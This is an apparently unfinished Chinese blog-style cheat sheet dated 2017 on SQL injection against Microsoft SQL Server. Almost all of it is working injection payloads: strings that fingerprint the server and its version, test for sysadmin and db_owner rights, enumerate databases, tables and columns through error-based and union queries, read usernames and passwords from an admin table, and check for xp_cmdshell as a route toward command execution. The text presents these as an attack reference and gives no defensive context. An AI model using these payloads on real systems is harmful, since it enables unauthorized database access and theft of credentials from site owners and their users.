mssql从入门到';drop table --

未完待续 –2017-02-26

判断是否MSSQL

and exists (select * from sysobjects)

**MSSQL版

and 1=(select @@VERSION)

当前数据库名

and 1=(select db_name())

本地服务名

and 1=(select @@servername)

判断是否系统管理员

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

判断是否是库权限

and 1=(Select IS_MEMBER('db_owner'))

库名

select name from master.dbo.sysdatabases where dbid=1,2,3

表名

select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85) order by id asc) T order by id desc

列名

select * from tablename where id = 1 having 1=1
select * from tablename where id = 1 group by id having 1=1
select * from tablename where id = 1 group by id,name having 1=1
/*查看列数
union select null
union select null,null
union select null,null,null
*/
select top 1 col_name(object_id('tablename'),1)from sysobjects
select top 1 col_name(object_id('tablename'),2)from sysobjects
select top 1 col_name(object_id('tablename'),3)from sysobjects

查找内容

select id,name,pass from admin

存储过程

判断是否存在xp_cmdshell

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')